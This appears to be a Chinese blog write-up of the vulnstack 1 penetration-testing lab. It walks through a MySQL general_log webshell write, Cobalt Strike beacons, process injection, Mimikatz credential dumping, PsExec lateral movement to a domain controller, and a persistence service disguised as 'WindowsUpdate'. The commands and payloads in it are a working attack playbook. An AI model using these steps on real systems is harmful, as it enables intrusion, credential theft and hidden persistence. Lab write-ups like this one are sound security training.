红日靶场 vulnstack 1

外网部分

信息收集

首先扫描C段找一下目标站点IP:

netdiscover -i eth0 -r 192.168.221.0/24

找到站点外网IP为192.168.221.133

接下来进行端口扫描

发现80端口开启,并且站点开启了mysql服务

访问80端口,是一个phpinfo()页面,且可以进行mysql连接测试

使用root,root发现mysql存在弱口令

接下来使用dirsearch扫描一下网站目录,发现存在phpmyadmin后台,是用于管理MySQL数据库的工具

直接使用mysql弱口令root,root即可登陆,发现后台可执行sql语句,尝试写马

  • 查看数据库是否有导入权限,看能否直接导入木马

    SHOW GLOBAL VARIABLES LIKE '%secure%'
    

    发现没有权限

  • 查看是否有开启日志记录

    SHOW GLOBAL VARIABLES LIKE ‘%general%’
    

    发现功能关闭

  • 开启全局日志

    SET GLOBAL general_log = ON
    
  • 指定日志写入到网站根目录

    set GLOBAL general_log_file='C:/phpStudy/WWW/log.php'
    
  • 写马

    select '<?php eval($_POST[1]);?>'
    
  • 访问log.php可查看日志,用蚁剑连接即可getshell

用蚁剑连接后,发现目录存在其他网站,访问/yxcms:

发现网站首页存在默认密码泄露,经尝试,可直接登入后台

进入后台,发现可以在前台模板写入一句话木马

查找路径为/yxcms/protected/apps/default/view/default/shell2.php,访问,连接成功

tips:这里还存在目录浏览漏洞,访问没有默认页面的目录,可以遍历目录文件

攻击和利用阶段

上线CS

可以使用cobalt strike生成exe上传远连,也可以生成powershell命令传参给webshell执行远连

连接成功

右键目标机在session中将sleep时长调整为0,加快回显速度

再右键点击interact打开交互界面,查看权限:

这里依旧是system权限,如果是administrator,可以参考如下方法提权:

  • 查看系统信息

    shell systeminfo
    

    可以看见只有4个补丁

  • 直接使用CS上的ms14_058提权即可(也可直接getsystem)

  • 当然,如果发现上传的exe和系统的位数不一样(比如shell是32位),则可以利用进程注入的方式获得一个64位的反弹shell

    只需要在目标主机本地找一个64位的进程,并将反弹shell命令注入进去,首先在当前shell中执行shell tasklist查看本地进程列表:

    对于被注入的目标进程,往往优先选择非系统进程,以防止进程注入操作导致系统崩溃,并且尽量选择常见的程序进程,这里选择everything:

PID进程为812,执行命令:

inject 812 x64

然后另外选择一个监听器即可

此时权限为admin,getsystem提权一手:

探索感知阶段

内网信息搜集

先查看一下内网域用户信息:

net view

然后直接进入target模块准备进行横向移动

抓取哈希及转储明文密码

CS的beacon反弹shell自带Mimikatz套件,所以可以直接执行相关命令,实现对目标机本地密码和哈希的读取:

logonpasswords

成功获取,同时,可以发现该账户是域GOD内的域用户,所以可以尝试口令复用,尝试登0录其他主机

传播阶段

使用PsExec建立IPC通道上线域控

PsExec是一种轻量级Telnet替代品,功能强大,这里在target中选择域控OWA并启动psexec64(win2008多为64位)

选择外网主机admin的口令,并添加一个SMB协议的监听器,并选择64位shell的会话,即可执行

此时,获得了来自域控的反弹连接,权限为system,成功拿下域控

如法炮制,上线域成员主机

同理,我们可以再次利用psexec上线域成员主机

持久化和恢复阶段

在这里尝试利用CS进行权限维持

通过CS持久化控制服务器

使用CS的service功能对唯一能联通外网的win7主机进行权限维持,首先生成一个用于上线服务器的exe:

通过attaks——packages——windows executable打开设置窗口:

生成exe后,右键win7会话,进入explore——file browser可以管理win7所有文件,点击左下角upload上传exe

最后执行命令,在目标机本地开启一个名为WindowsUpdate的开机自启动服务,该服务运行时便会开启我们上传的exe:

shell sc create "WindowsUpdate" binpath= "cmd /c start "C:\Users\Administrator\Desktop\win7.exe""&&sc config "WindowsUpdate" start= auto&&net start WindowsUpdate

至此,只要目标机启动,便会启动该exe向我们返回控制权,实现了持久化控制

恢复阶段的攻击

进行痕迹清理,主要涉及webshell删除、mysql日志文件的路径及设置恢复、以及上传的各类文件的删除、清楚系统日志

总结

总结一下积累的知识点与操作方法:

  • phpmyadmin可以实现mysql日志文件写马
  • 进程注入攻击:进程注入可以隐藏自身,也是利用另一个进程的权限实现权限升级的常用办法
  • 内网域信息搜集:能够对要渗透的内网域有大致了解,以确定攻击目标和依据
  • 利用Mimitakz获取内网windows服务器密码:该套件可以有效获取当前主机各类密码,若其中存在域账号密码,则很可能直接获取其他主机权限
  • 通过psexec建立IPC通道:内网中大部分主机是无法连接外部网络的,所以不能通过外网通道通信的方式实现主机控制,此时在内网中构建IPC通道,就可以使用IPC通道与被控制的外网主机进行通信,实现主机控制
posted @ 2024-05-29 16:46  Yuy0ung  阅读(108)  评论(0编辑  收藏  举报